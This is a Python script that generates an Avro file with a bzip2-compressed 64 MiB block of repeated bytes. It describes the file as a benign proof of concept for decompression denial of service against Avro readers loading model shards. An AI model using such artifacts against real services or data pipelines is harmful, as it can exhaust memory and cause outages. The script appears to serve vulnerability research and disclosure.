import argparse import hashlib import json from pathlib import Path import avro.io import avro.schema from avro.datafile import DataFileWriter SCHEMA_JSON = { "type": "record", "name": "ModelShard", "namespace": "org.example.ml", "fields": [ {"name": "tensor_name", "type": "string"}, {"name": "tensor_bytes", "type": "bytes"}, {"name": "notes", "type": "string"}, ], } def sha256_file(path: Path) -> str: h = hashlib.sha256() with path.open("rb") as handle: for chunk in iter(lambda: handle.read(1024 * 1024), b""): h.update(chunk) return h.hexdigest() ROOT = Path(__file__).resolve().parent def main() -> None: parser = argparse.ArgumentParser(description="Generate a benign Avro decompression-DoS PoC artifact.") parser.add_argument("--output", default=str(ROOT / "artifacts" / "avro_bzip2_dos.avro")) parser.add_argument("--size-mib", type=int, default=64) parser.add_argument("--codec", default="bzip2") args = parser.parse_args() out_path = Path(args.output) out_path.parent.mkdir(parents=True, exist_ok=True) payload = b"A" * (args.size_mib * 1024 * 1024) schema = avro.schema.parse(json.dumps(SCHEMA_JSON)) datum = { "tensor_name": "dense.weight", "tensor_bytes": payload, "notes": "Benign PoC: repetitive bytes to demonstrate block decompression before first record yield.", } with out_path.open("wb") as handle: writer = DataFileWriter(handle, avro.io.DatumWriter(), schema, codec=args.codec) writer.append(datum) writer.close() info = { "artifact": str(out_path), "codec": args.codec, "payload_bytes": len(payload), "artifact_bytes": out_path.stat().st_size, "sha256": sha256_file(out_path), } print(json.dumps(info, indent=2)) if __name__ == "__main__": main()